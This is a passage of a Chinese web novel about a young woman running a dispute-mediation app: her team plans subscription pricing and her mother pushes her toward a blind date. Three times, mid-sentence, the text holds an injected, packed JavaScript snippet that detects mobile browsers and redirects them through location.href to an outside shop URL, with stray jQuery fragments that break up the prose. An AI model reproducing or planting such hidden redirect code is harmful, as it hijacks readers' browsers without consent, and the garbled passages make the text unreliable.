“罗老师,你马上就要走了,应该我们请你才对!” 罗贝妮摇头。 “不行!今天必须我请!这是庆祝的饭!” 俞彩虹笑了。 “那就让她请吧,不然她心里过不去。” 五个人找了家附近的饭馆,要了个包间。 菜上齐了,罗贝妮端起酒杯。 “这杯酒,敬代吵。” 她看着每一个人。 “敬寄遥,没有你,我撑不到现在。我慌的时候,你让我深呼吸,我怕的时候,你说‘不发你会后悔’,我哭的时候,你就那么坐着,不说话,但我知道,你一直都在。” 徐寄遥端起杯,轻轻碰了一下。 “敬俞老师,你说的话,‘我当年淋过雨,所以知道淋雨是什么滋味’,这句话,我会记一辈子的。” 俞彩虹笑了笑,碰了杯。 “敬应宽,没有你的技术支持,这一仗打不赢。” 应宽推了推眼镜,碰了杯。 “敬小糖,你是我见过的最有力量,却又最甜美可爱的女孩,谢谢你一直陪着我,陪我熬夜,陪我哭,陪我笑。” 吴小糖眼眶红了,使劲碰了一下。 “罗老师……” 罗贝妮最后看着所有人。 “敬代吵!敬你们!敬这一个月!” 她一口干了。 酒有点辣,呛得她咳了两声。 但她笑了。 / 饭吃到一半,大家的话渐渐多起来。 吴小糖说起第一次见罗贝妮的时候。 “罗老师那天来的时候,脸色白得吓人,我还以为她生病了。” 罗贝妮笑了。 “那时候是真的怕,手抖得连杯子都拿不稳。” 俞彩虹点点头。 “正常,我经历这种事的时候,也是这样,后来就不怕了。” 她顿了顿。 “不是不怕了,是顾不上怕。” 罗贝妮看着徐寄遥。 “寄遥每次都说,‘不发你会后悔’。发着发着,就忘了怕了。” 徐寄遥没有说话。 但她端起杯,又碰了一下。 吴小糖突然想起什么。 “罗老师,你说张凌烽看到那个公告,会是什么表情?” 罗贝妮愣了一下。 然后她笑了。 “不知道,但肯定不好看。” 大家都笑了。 应宽难得地开了一句玩笑。 “他可能会砸杯子。” 吴小糖笑得直拍桌子。 / 吃完饭,五个人在饭馆门口站了一会儿。 阳光很好,暖洋洋的。 四月的北京,风已经不那么冷了,吹在脸上,软软的。 罗贝妮看着那四个人。 “我明天就走了。” 吴小糖立刻急了。 “这么快?!” 罗贝妮点点头。 “周院长说让我早点过去,熟悉环境。” 吴小糖瘪了瘪嘴,没说话。 俞彩虹拍了拍她的肩。 “又不是不见了,以后还有机会。” 罗贝妮点点头。 “你们来南江玩,我招待你们。” “一言为定。” / 4月16日,早上七点。 罗贝妮拉着行李箱,站在工作室门口。 行李不多,就两个箱子。 一个装衣服,一个装她的学术材料,那些论文草稿、田野调查笔记、录音文件。 所有人都出来了。 吴小糖第一个冲过去,一把抱住她。 “罗老师!你要常回来看我们!” 罗贝妮被她抱得有点喘不过气,但笑着。 “好好,一定会的。” 吴小糖松开她,眼眶红了。 四个人一起送罗贝妮去机场。 吴小糖一路上叽叽喳喳,说个不停。 “罗老师,南方大学食堂好不好吃?” “罗老师,那边房租贵不贵?” “罗老师,你到了记得给我发照片!” 俞彩虹偶尔插一两句。 应宽坐在副驾,看着窗外。 徐寄遥开着车,很安静。 到了机场,办完托运,罗贝妮要进安检了。 她回过头,看着那四个人。 “我走了。” 吴小糖眼泪已经掉下来了。 “罗老师……” 罗贝妮走过去,又抱了她一下。 “别哭,又不是不见了。” 她抬起头,看着其他几个人。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17263053|197680||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> “你们好好的,等我安顿好了,给你们发消息。” 俞彩虹点点头。 应宽站在旁边,推了推眼镜。 “罗老师,到了那边,有什么技术上的需要,随时联系。” 罗贝妮点点头。 “谢谢。” 俞彩虹轻轻拍了拍她的肩。 “南方大学很好,周齐远是个好领导,你跟着他,能学到东西。” 罗贝妮看着她,眼眶有点红。 “俞老师,谢谢你,真的谢谢。” 俞彩虹摇摇头。 “别说这些,好好干。” 徐寄遥最后走过来。 “一路顺风。” 罗贝妮看着她。 “寄遥。” 徐寄遥微微点头。 “谢谢你,谢谢你们。” 徐寄遥伸出手,轻轻拍了拍她的手背。 那一下很轻,轻得像一片叶子落在手上。 但罗贝妮觉得,那是她这辈子收到的最重的礼物。 / 罗贝妮转身,走进了安检通道。 她没有回头。 但她知道,那四个人一直站在那里,看着她。 一直看着。 / 从机场出来,已经是中午。 应宽开着车,忽然说了一句: “寄遥,你瘦了。” 徐寄遥愣了一下。 吴小糖立刻接话: “对对对!寄遥姐这阵子太累了!得补补!” 俞彩虹在旁边笑。 “应宽请客?” 应宽点点头。 “没问题,我请。” 四个人找了个饭馆,要了个包间。 菜上齐了,应宽特意点了一锅鸡汤,推到徐寄遥面前。 “喝点。” 徐寄遥看了看他,又看了看那锅汤。 然后她拿起勺子,盛了一碗。 吴小糖在旁边偷笑。 俞彩虹假装没看见,低头吃菜。 饭吃到一半,包间的门被推开了。 一个中年女人探进头来。 “哎呀,遥遥?真是你啊!” 徐寄遥愣了一下,站起来。 “王阿姨?” 那女人笑呵呵地走进来,看了看桌上的人。 “这几位是……你同事啊?” 徐寄遥点点头。 “都是我的同事。” 王阿姨的目光在应宽身上停了停。 “这个小伙子长得蛮精神的嘛,遥遥,这是你男朋友啊?” 徐寄遥的脸色微微变了变。 “不是的,他是我同事。” 王阿姨笑着摆摆手。 “同事同事……你们年轻人现在都这么说!行了行了,不打扰你们吃饭了!你也要多回家吃饭!多陪陪你妈!” 她笑呵呵地走了。 包间里安静了几秒。 吴小糖小声说: “寄遥姐,这个王阿姨是你妈妈的朋友?” 徐寄遥点点头。 “她是我家邻居。” 她顿了顿。 “回去肯定要跟我妈说。” / 吃完饭,吴小糖和俞彩虹各自回家。 徐寄遥和应宽回到工作室。 推开门,屋里很安静。 阳光从窗户照进来,落在罗贝妮睡过的那张折叠床上。床上空空的,被子叠得整整齐齐。 徐寄遥站在那里,看了几秒。 然后她走到自己的位置,坐下。 应宽也回到电脑前,开始敲代码。 一切都和往常一样。 但又好像什么都不一样了。 徐寄遥拿起手机,翻到和何久红的聊天记录。 最后一条消息,还是3月初的。何久红发了个“周六12点”,她没有回。 从那以后,就再也没有消息了。 她盯着那个聊天界面,盯了很久。 何久红不可能不知道她这一个月在做什么。 罗贝妮的事闹得那么大,网上到处都是。何久红平时那么爱刷手机,肯定看到了。 但她没有发消息。没有打电话。什么都没有。 徐寄遥放下手机。 这一个多月,她帮罗贝妮打赢了一场仗。但她的仗,还没打完。 她有预感,风暴,已经在路上了。 25.何久红的道德绑架升级(上) 2025年4月17日,上午九点。 徐寄遥推开房间门,阳光正好照进来,落在她脸上。 她眯了眯眼,嘴角不自觉地扬了一下。 昨天送走罗贝妮之后,她睡了一个好觉。不是那种被工作压着的浅眠,是真正的、踏实的、一夜无梦的觉。 吴小糖和俞彩虹还没来。 她给她们放了两天假,让她们回去休息。这一个月,大家都累坏了。 应宽已经坐在电脑前了。看到她进来,抬起头,点了点头。 “早。” 徐寄遥走过去,在他旁边坐下。 “早。” 两个人沉默了几秒。 然后徐寄遥开口。 “应宽,我想跟你商量件事。” 应宽看着她。 “下个月开始,咱们APP收费吧。” 应宽愣了一下,然后点点头。 “早该收了。” / 上午十点,吴小糖和俞彩虹一起来了。 吴小糖推开门就喊:“寄遥姐!我们回来啦!” 徐寄遥抬起头,笑了。 “不是要你们休息两天吗?” “好了好了!”吴小糖蹦蹦跳跳地进来,“在这儿也是休息啊,我一个人呆着干嘛!” 俞彩虹跟在她后面,也笑着点点头。 “确实休息好了。” 四个人都在,徐寄遥站起来,走到白板前。 “正好,大家一起开个会。” 她在白板上写下几个字: 【代吵APP收费模式讨论】 吴小糖眼睛亮了。 “要收费了?!” 徐寄遥点点头。 “下个月开始。” / 应宽先开口。 “我建议分几个等级。” 他站起来,走到白板前,拿起笔。 “基础版,免费,提供AI自动回复服务,用户的问题,如果AI能回答,就直接回答,回答不了的,再转到人工。” 吴小糖举手。 “AI能回答什么问题?” 应宽推了推眼镜。 “常见问题,比如‘被道德绑架怎么办’‘如何拒绝父母的不合理要求’‘职场PUA的常见话术有哪些’,这些有标准答案的,AI都可以处理。” 俞彩虹点点头。 “这个思路好,把简单问题分流出去,人工可以专注处理复杂案例。” 应宽继续写。 “专业版,收费,提供人工代吵师服务,用户下单,由徐寄遥亲自处理,价格……我建议起步199元一单。” 吴小糖倒吸一口凉气。 “199起?会不会太贵?” 徐寄遥摇摇头。 “不贵,我们帮刘小燕那次,如果收费,1999都值。” 俞彩虹笑了。 “关键是价值,不是价格。” 应宽继续写。 “企业版,收费更高,为企业提供职场纠纷调解、员工心理辅导之类的服务,这个价格可以定制。” 他写完,退后一步。 “大概就是这样。” / 徐寄遥看着白板上的字,点了点头。 “还有会员制。” 她拿起笔,在旁边加了一栏。 “月卡,99元;季卡,199元;年卡,499元;会员可以享受优先接单、专属咨询通道之类的服务。” 吴小糖眼睛更亮了。 “这个好!固定收入!” 俞彩虹点点头。 “现金流稳定,对创业公司很重要。” 应宽已经开始在电脑上算了。 “如果日订单保持2000单,10%的人买月卡,一个月就是……” 他敲了几下键盘。 “大概20万。” 吴小糖张大嘴巴。 “这么多?!” 应宽摇摇头。 “这只是理想情况,实际肯定没这么多。” 徐寄遥笑了。 “先这么定,运营起来再看。” / 讨论完收费,应宽又打开另一个页面。 “寄遥,你看这个。” 他把屏幕投到白墙。 是和解大师APP的会员页面。 “他们也是分级收费,基础版免费,专业版299一个月,企业版定制。” 吴小糖凑过去看。 “299?比我们还贵?” 应宽点点头。 “他们有更多功能。” 他往下滑。 “你看,他们有一对一专家咨询,有线上课程,有社群服务,还有线下活动。” 俞彩虹看着那些功能,叹了口气。 “他们资金雄厚,这些我们都做不了。” 徐寄遥点点头。 “所以我们不做这些。” 她站起来,走到白板前。 “我们要做的,是专业和纯粹。” 她在白板上写下几个字: 【专业·纯粹·有温度】 “和解大师什么都有,但什么都不精,他们卖的是焦虑,不是解决方案。” 她看着大家。 “我们不一样,我们只做一件事,帮人解决矛盾,不卖课,不卖社群,不卖焦虑。” 吴小糖听得热血沸腾。 “对对对!我们是有温度的!” 俞彩虹笑了。 “这个定位好。” 应宽点点头。 “那就这么定了。” / 中午十一点多,应宽拎着两个沉甸甸的购物袋推门进来。 袋子里塞得满满当当,青菜、牛肉、排骨、鸡蛋,还有一盒车厘子。 这个季节车厘子贵得离谱,吴小糖上次在超市看了一眼价签,默默放了回去。 应宽拎着袋子径直走向厨房。 路过徐寄遥的电脑桌时,脚步顿了一下。 徐寄遥正盯着屏幕,眉头微蹙,手指在键盘上敲敲停停。 她面前的咖啡杯已经空了,杯底有一圈干涸的咖啡渍,至少三小时前喝的。 应宽把购物袋换到左手,右手伸过去,把那只空杯子拿走了。 徐寄遥这才抬起头,愣了一下。 “怎么?” “收杯子,”应宽没看她,端着杯子往厨房走,“别喝了。” 徐寄遥看着他的背影,张了张嘴,没说出话来。 厨房里很快响起水声、切菜声。 吴小糖凑过去扒着门框看热闹,被应宽用一根胡萝卜打发走了。 她啃着胡萝卜回来,在徐寄遥旁边坐下,嘴里含糊不清地说: “寄遥姐,应宽哥今天去超市逛了好久,我问他买什么,他也不说,就让我跟着。” 徐寄遥没说话,目光落在厨房的方向。 油烟机的声音响起来,很快,一股香味飘了出来。 五十分钟后,饭厅的餐桌上放着三菜一汤。 清炒时蔬、西红柿炒蛋、青椒牛肉,还有一大碗热气腾腾的排骨汤。 他把四个饭碗摆在餐桌上。 “开饭了。” 徐寄遥走过来,低头看着那碗汤,汤面上飘着几颗枸杞,排骨炖得软烂,香味直往鼻子里钻。 “炖了排骨汤,”应宽推了推眼镜,“买的菜多。” 吴小糖早就拿着碗凑过来了,一边盛汤一边嘀咕: “应宽哥,你买菜的时候在那儿自言自语,‘寄遥喜欢吃排骨’,我都听见了……” 应宽的耳朵尖红了。 他转身往厨房走,走了两步又停下来,没回头,声音闷闷的: “车厘子……洗好了,在厨房。” / 众人刚吃完饭,楼下传来一阵吵闹声。 吴小糖竖起耳朵。 “楼下怎么了?” 徐寄遥到窗边,往下看了一眼。 然后她的脸色变了。 楼下,何久红站在那里,穿着一件深红色的毛呢大衣,头发精心打理过,涂着口红,正往楼上张望。 “妈……怎么来了?” / 何久红上来的很快。 推开门,她扫了一眼屋里,目光在每个人身上转了一圈。 吴小糖被她看得有点不自在,往后缩了缩。 俞彩虹靠在沙发上,表情平静。 应宽坐在电脑前,没动。 最后,何久红的目光落在徐寄遥身上。 “遥遥。” 徐寄遥看着她。 “妈。” 何久红走过来,在沙发上坐下。 “我今天是来跟你谈正事的。” 徐寄遥在她对面坐下。 “什么事?” 何久红看着她,眼神里有一种徐寄遥熟悉的东西。 那种居高临下的、带着审判意味的目光。 “你一个多月没回家了。” 徐寄遥没有说话。 何久红继续说: “我给你安排的相亲,你也没回。” 徐寄遥还是没有说话。 何久红的声音提高了。 “你知道我这一个多月是怎么过的吗?王阿姨天天问我,你家遥遥怎么还不去相亲?我说你忙,她说忙什么忙,再忙也得找对象啊!你让我怎么回答?” 徐寄遥终于开口了。 “妈,你可以不回答。” 何久红愣了一下。 “什么意思?” 徐寄遥看着她。 “意思是,王阿姨问,你可以说不知道,可以说不关她的事,你可以不回她的话!” 何久红的脸涨红了。 “你、你这是教妈做人?” 徐寄遥摇摇头。 “不是!我只是告诉你,你可以怎么做!” / 何久红深吸一口气,换了话题。 “那个相亲的事,我跟对方说了,先推迟,等你有时间了就安排,现在该去了吧?” 徐寄遥愣了一下。 “你推迟了?” 何久红点点头。 “我说你工作忙,等忙完这阵再去,对方也理解,愿意等,现在你忙完了吧?” 徐寄遥沉默了几秒。 “妈,我没忙完,我也不会去。” 何久红的脸又涨红了。 “你这个不孝女!” 徐寄遥看着她。 “我不去!不想去!不会去!你推迟也好,不推迟也好,那是你的事!” 何久红蹭地站起来。 “徐寄遥!你知不知道妈妈为了你的事费了多少心?!那个男孩条件多好你知道吗?公务员,有房有车,父母都是退休干部!你连见都不见一下!?” 徐寄遥没有动。 “不见!不去!” 何久红愣住了。 “你、你这个不孝女!” 徐寄遥看着她。 何久红的脸涨得通红,红得发紫。 “你、你……不孝女!” 她气得说不出话。 / 就在这时,何久红的目光落在应宽身上。 她愣了一下。 然后她站起来,走到应宽面前。 “你就是那个技术员?” 应宽忙站起来。 “阿姨好,我是应宽。” 何久红上下打量着他。 “你多大了?”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17269274|197680||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>“……三十五。” “哪里人?” “浙江。” “结婚了吗?” “没有。” 何久红的眉头皱了起来。 “三十五了还没结婚?外地人?” 她的语气里带着明显的嫌弃。 然后她突然想起什么,回头看着徐寄遥。 “他住哪儿啊?” 徐寄遥没有说话。 何久红的目光在工作室里转了一圈。 三间房。 中间的杂物房半开的门里露出来的一张折叠床。 左右两个房间的门口,一间房门口放着徐寄遥的一个小鞋柜。 她的脸色变了。 “他住这儿啊?!” 徐寄遥点点头。 “是啊,我们几个都住这儿。” 何久红的脸彻底涨红了。 “男女混住?!那不行!” 吴小糖在旁边忍不住了。 “阿姨,不是……” 何久红根本不理她,只盯着徐寄遥。 “遥遥,男同事怎么能住在一起呢!” 徐寄遥看着她。 “妈!这是我们的工作室,现在条件有限才这么住的!有什么问题?” 何久红的声音尖锐起来。 “有什么问题?!你是女的!他是男的!这还不够问题?!” 徐寄遥气得翻白眼。 何久红继续喊: “王阿姨昨天看到你们一起吃饭,她是怎么说的吗?她说你跟一个男人在饭馆里吃饭!两个人挨得很近!你知道我怎么解释的吗?我说那是你同事!现在你告诉我,这个同事还跟你住在一起!” 她指着应宽。 “你让我怎么跟王阿姨解释?!” / 应宽坐在那里,没有说话。但他的耳朵尖红了。 吴小糖急了。 “阿姨,我们都住这里!” 何久红转过头,看着她。 “你又是谁?” 吴小糖被她的眼神吓了一跳,但还是硬着头皮说: “我是吴小糖,阿姨好……” 何久红打断她。 “你也住这儿吗?” 吴小糖点点头。 何久红又看向俞彩虹。 “你呢?” 俞彩虹点点头。 “我也是。” 何久红的脸涨得更红了,一时不知道怎么继续发脾气。 她转向徐寄遥。 “遥遥,你以前的工作那么好,非要搞什么APP!现在又跟一群人住在一起!你让我的脸往哪儿搁?!” 徐寄遥看着她,没有说话。 何久红继续喊: “你知道邻居们都在说什么吗?他们说你在搞什么代吵APP,帮人吵架!他们说这种APP不是正经人做的!你知道我听了多难受吗?” 徐寄遥终于开口了。 “妈,你别编故事了!哪个邻居这么闲一天到晚打听我啊!?” 何久红愣住了。 徐寄遥继续说: “我的APP不知道有多正经!没有哪个APP能跟我们比正经了!” 何久红的脸又涨红了。 “你怎么妈妈说话的!” 徐寄遥摇摇头。 “你又说了什么好听的话呢?” 何久红站在那里,气得浑身发抖。 她看着徐寄遥,看着这个从小听话的女儿,现在变成这样。 “遥遥,我最后问你一遍,这个APP,你关不关?” 徐寄遥看着她。战斗力拉满。 “妈,你没事吧?!要我关APP??” “那相亲,你去不去?” “啊?不去啊!要我说多少次?!” 何久红的脸涨得通红。 “好、好、好!” 她连说了三个好。 “你长大了,翅膀硬了,不听妈的话了!” 徐寄遥没有说话。 何久红看着她,眼眶红了。 但那种红,不是伤心,是愤怒。 她转身,推开门,走了出去。 门砰的一声关上。 / 工作室里安静了很久。 吴小糖看着徐寄遥,眼眶红红的。 “寄遥姐……” 徐寄遥坐在沙发上,一动不动。 俞彩虹走过来,在她旁边坐下。 “你刚才……跟平时很不一样。” 徐寄遥没有说话。 她有一种虚脱感。 俞彩虹继续说: “你妈那种人,你说什么都没用的,她听不见。” 徐寄遥点点头。 应宽站起来,走到饮水机前,接了一杯热水,放在徐寄遥面前。 “代吵师还真是名不虚传呢。” 吴小糖和俞彩虹都笑出了声。 徐寄遥愣了一下,看着那杯水。 “刚才不好意思啊,让你们见笑了……” 应宽回到电脑前坐下。 “嗐,刚才吓死我了。” 吴小糖哈哈大笑。 / 晚上,徐寄遥一个人站在窗边。 楼下的小区门口已经安静了。路灯孤零零地亮着。 她想起何久红说的那些话。 “你知道我为了你的事费了多少心吗?” “你让我怎么跟人家解释?” 这些话,她从小听到大。听了三十年。 但今天,她第一次没有害怕。 不是不怕,是顾不上怕。 她想起罗贝妮走的时候说的那句话。 “发着发着,就忘了怕了。” 她笑了。 26.何久红的道德绑架升级(下) 2025年4月18日,上午十点。 吴小糖第一个看到的。 她正在窗边晾衣服,一低头,就看到楼下那个熟悉的身影。 墨绿色套装,精心打理的发型,化着淡妆,手里拎着两个大保温袋。 何久红女士。 吴小糖的心跳漏了一拍。 “寄、寄遥姐……” 徐寄遥正在处理订单,抬起头。 “怎么了?” 吴小糖指着窗外,声音有点抖。 “你妈……又来了。” 工作室里安静了一秒。 俞彩虹放下手里的书,看了一眼徐寄遥。应宽的手指停在键盘上,没有动。 徐寄遥站起来,走到窗边。 何久红正往楼上张望。看到徐寄遥,她挥了挥手,笑得一脸慈祥。 那种表演出来的、刻意展示给外人看的慈祥。 她身后停着一辆黑色的奥迪,老款。驾驶座上坐着一个人,没有下来。 是爸爸的车。 徐士朋坐在车里,没有动。他隔着车窗往楼上看了看,然后低下头去。 徐寄遥知道爸爸为什么不下来。 他是在给她留面子。 / 何久红推门进来的时候,脸上带着笑。 那笑容和昨天不一样。 昨天的笑是歇斯底里之后硬挤出来的,今天的笑是刻意压着脾气的、努力装出来的和善。 但那种和善底下,还是藏着一股说不清的压迫感。 “遥遥!妈妈又来了!” 她把两个大保温袋放在桌上,打开盖子。 “给你带了红烧肉,你爸一早起来做的,还有乌鸡汤,还有你爱吃的糖醋排骨!给你们四个人都带了,多吃点。” 吴小糖凑过来看了一眼,咽了咽口水。 “阿姨,这么多……” 何久红笑着看她。 “多吃点,你们年轻人工作辛苦。” 她的目光在屋里转了一圈,最后落在应宽身上。 应宽坐在电脑前,抬起头,冲她点了点头。 何久红的笑容淡了一秒。 昨天闹成那样,今天再见,气氛总归有点尴尬。 但她很快调整过来,走过去在沙发上坐下。 / 徐寄遥在她对面坐下。 “妈,老爸怎么不上来?” 何久红摆摆手,语气里带着一丝不满。 “他说怕打扰你们工作,在楼下等着呢,你爸这人,就是太惯着你了,要我说,上来看看怎么了?又不是外人。” 徐寄遥没有说话。 她知道爸爸是故意的。 他不上来,是不想让她难堪。不想让她在同事面前,还要应付父母双双到场的压力。 何久红看着她的表情,叹了口气。 “行了行了,不提他了。” 她看着徐寄遥。 “遥遥,妈妈今天来,是想跟你好好聊一聊。” 徐寄遥没有说话,等着她的下文。 果然,何久红话锋一转。 “你这个工作的事情,妈妈还是得说说,你以前在那家互联网公司,年薪五十万,都做到经理了,莫名其妙就辞职了!” 徐寄遥开口了。 “因为那不是我想要的。” 何久红愣住了。 “不是你想要的?那什么是你想要的?” 徐寄遥看着她。 “我要做点有意义的事。” / 何久红沉默了几秒。 然后她叹了口气。 “行行行,妈妈说不过你。” 她顿了顿,目光又落在应宽身上。 “小伙子,我听遥遥说,你以前跟她同一家公司?” 应宽点点头。 “是的,阿姨。” 何久红看着他。 “你在那儿是做什么工作的?” 徐寄遥替他回答了。 “妈,应宽以前是我们公司的首席程序员。” 何久红一愣。 “首席程序员?年薪有没有五十万……” 徐寄遥打断她:“妈,他年薪比我高多了!你别问人家这些私事了!” 何久红继续说。 “年薪比遥遥还高啊,那你工作能力也很强的嘛。” 应宽咽了口空气。 “还可以。” 她又看了看应宽。 这一看,眼神有些不一样了。 “现在跟着遥遥干,那不是亏了?” 应宽立刻摇头。 “没有,我觉得现在做的事更有意义。” 何久红点点头。 她沉默了几秒,又问: “三十五岁还没结婚是吧,有对象吗?” 工作室瞬间安静下来。 应宽的耳朵尖唰地红了。 “没有,还没正式交过。” 何久红瞪大了眼睛。 “什么?三十五岁了没处过对象?!” 吴小糖快要憋出内伤了。俞彩虹也是笑而不语。 徐寄遥也不好说什么,她怕一开口,何久红的火力会转到她身上。 应宽不止是耳朵尖红了,脸也涨红了,不说话。 何久红看着应宽。 “你家里人就没有给你张罗过?” 应宽点点头。 “有,亲戚也介绍过几次,接触过。” “接触过怎么没成呢?” 应宽想了想。 “就是……不合适。” 何久红叹了口气。 “现在的年轻人,都太挑了。” 她又看了看徐寄遥。 “我们家遥遥,好歹还处过一两个……” 徐寄遥的脸色变了。 “妈!你胡说些什么啊!” 何久红看着她。 “怎么了?妈妈说几句话都不行了?” 徐寄遥站起来。 “妈,你能不能别说了!” 何久红的脸沉了下来。 “我说两句怎么了?关心一下你同事不行啊?!” 徐寄遥的声音提高了。 “你这不是关心,是审问!” 何久红也站了起来。 “怎么就审问了?妈妈问问他个人情况怎么了?!” 应宽坐在那里,嘴巴动了又动,就是不知道说什么,耳朵红得快要滴血。 / 何久红继续输出。 “你看看你现在,一天恨不得24个小时都在电脑前坐着!创业!创业!搞得这么累!几个人挤在一起这个破地方,图什么? 徐寄遥开口了。 “图什么是我自己的事。” 何久红的脸沉了一秒,又挤出一个笑。 “行行行,你自己的事!那你告诉妈妈,你打算什么时候考虑终身大事呢?” 徐寄遥没有说话。 何久红看着她,声音提高了一点。 “你总得给妈妈一个准信吧?人家男方等了你一个多月,你让我怎么跟人家交代?” 空气又紧张起来。 吴小糖在旁边大气都不敢出,手里的抹布攥得紧紧的。 应宽坐在电脑前,低着头,假装在敲代码,但手指半天没动一下。 俞彩虹放下手里的书,但没有动,只是安静地看着。 徐寄遥看着何久红。 “我没让谁等我!是你自己在等!” 何久红的脸涨红了。 “遥遥!你怎么跟妈妈这样说话!妈妈为你操碎了心!你就是这样对妈妈的?!” 徐寄遥没有说话。 何久红站起来,走到她面前,居高临下地看着她。 “你给我说清楚!你到底什么时候去相亲?!” 徐寄遥抬起头,看着她。 “不去!不去!不去!不去!” 何久红的声音尖锐起来。 “你凭什么不去?!你三十二了!不结婚,不恋爱!天天窝在这个破地方!你想干什么?!你以为你还有几年青春可以这样耗?!” 徐寄遥气得满脸通红。 何久红的声音越来越大。 “你说啊!你到底什么时候去?!” 徐寄遥唰一下站起来。 “我不去!” 何久红气得浑身发抖。 “你、你……” 她说不出话来,手指着徐寄遥,抖得厉害。 / 就在这时,俞彩虹站了起来。 她走到何久红面前,语气温和,不疾不徐。 “阿姨,您别着急,先坐下喝杯水。” 何久红看着她,愣了一下。 “你是……” “我叫俞彩虹,年初加入寄遥团队的,我以前在大学教书的。” 何久红的表情变了。 她对大学老师有一种本能的尊重。 “哦……是大学老师啊?” 俞彩虹点点头。 “教了十七年。” 何久红脸色缓和下来,她对大学老师有一种本能的尊重。 “俞老师,你别介意,我刚才就是跟闺女随便聊天。” 俞彩虹笑了。 “没事,您关心孩子,正常的。” 她给何久红倒了杯水,在她旁边坐下。 何久红接过水杯,喝了一口。 “俞老师,你是大学老师,你给评评理,我这个当妈的,操心女儿的终身大事,有错吗?” 俞彩虹点点头。 “没错,天下父母都一样。” 何久红听了这话,脸色好看了些。 俞彩虹继续说: “不过,阿姨,寄遥,您应该比我了解,她是个有主意的人,认准了的事,十头牛都拉不回来。” 何久红叹了口气。 “可不是嘛,小时候就这样,现在更厉害了。” 俞彩虹笑了。 “但是您知道吗?她这个性格,也是您培养出来的。” 何久红皱起眉头。 “什么?我培养的?” 俞彩虹点点头。 “您要不是个性这么强,她也不会这么有主意,她是在跟您的较劲中长大的。” 何久红沉默了。 俞彩虹继续说: “寄遥创业这件事,您担心是正常的,但是您得相信她呀,她有能力,有想法,这样的年青人应该鼓励,您看,我们这几个人,都是真心实意帮她。” 何久红看了看吴小糖,又看了看应宽。 吴小糖使劲点头。 “阿姨,寄遥姐对我们可好了!我跟着寄遥姐学到了很多东西!” 应宽也点了点头。 何久红看着他,又看了看徐寄遥。 沉默了半晌,她才开口。 “俞老师,让你见笑了,我们母女俩没什么矛盾,都是大嗓门。” 俞彩虹笑着点点头,那笑容让人没法拒绝。 “我明白,您是为孩子好,天下父母都一样。” 何久红的情绪平复了一点。 / 俞彩虹的语气里带着一种让人信服的从容。 “阿姨,寄遥现在的情况,您可能不太了解,我们团队最近正在做一个重要的转型。” 何久红看着她。 “什么转型?” 俞彩虹耐心地解释: “我们打算从下个月开始,上线会员制收费模式,这个模式要是跑通了,APP的收入会稳定下来,到时候创业 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17273849|197680||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的经济压力也能缓解不少。” 何久红听着,没说话,但表情明显在思考。 俞彩虹继续说: “等有了稳定的收入,APP运营起来了,寄遥也就没那么忙了,到时候,她自然会有时间考虑自己的事情,您说是不是这个理儿?” 何久红沉默了几秒。 “那要多久?” 俞彩虹想了想,语气笃定。 “少则一两个月,多则三四个月,不会太长的。” 何久红看着她,又看了看徐寄遥。 徐寄遥站在那里,没有说话,但目光没有躲闪。 何久红开口了。 “遥遥,俞老师说的,是真的?” 徐寄遥点点头。 “嗯。” 何久红转向俞彩虹。 “俞老师,你说的这些,我也不是不懂,我就是担心她一个女孩子,这么折腾,万一失败了怎么办?” 俞彩虹看着她。 “失败了也没关系,可以重来,过程才是最重要的。” 何久红叹了口气。 “你说得轻巧,失败了,她以后怎么找对象?创业失败,说出去也不好听啊。” 俞彩虹笑了。 “阿姨,您这话就不对了,寄遥这么优秀的女孩,她要想找个对象,那还不是分分钟的事情。” 何久红看着她。 “是不是啊?” 俞彩虹点点头。 “当然,寄遥是我见过最有能力的年轻人之一。” / 何久红沉默了几秒。 然后她抬起头,看着徐寄遥。 “遥遥,妈妈不是非要逼你,妈妈就是担心你。” 徐寄遥看着她,没有说话。 何久红继续说: “你要创业就创业吧,妈妈也不说你了。” 她顿了顿。 “你自己的事,你得给妈妈一个准信。” 徐寄遥看着她。 “什么准信?” 何久红深吸一口气。 “等你们这个什么会员制度稳定下来,你就要去相亲。” 徐寄遥看着她。 “我不会给你这种准话!” 何久红的脸又涨红了,眼看就要发作。 俞彩虹赶紧打圆场,语气里带着一丝不容置疑的和气。 “阿姨,您别逼她太紧,年轻人有自己的节奏,逼急了反而不好,您放心,我们会帮您看着她的,等时机成熟了,自然水到渠成。” 何久红深吸一口气,压着脾气。 她看了看俞彩虹,又看了看徐寄遥,最后目光在应宽身上扫了一眼。 “行了行了,妈妈回去了,你爸爸还在楼下等着呢。” 她站起来,拍了拍衣服上并不存在的灰,准备走了。 走到门口,又回过头。 “对了,小糖是吧?” 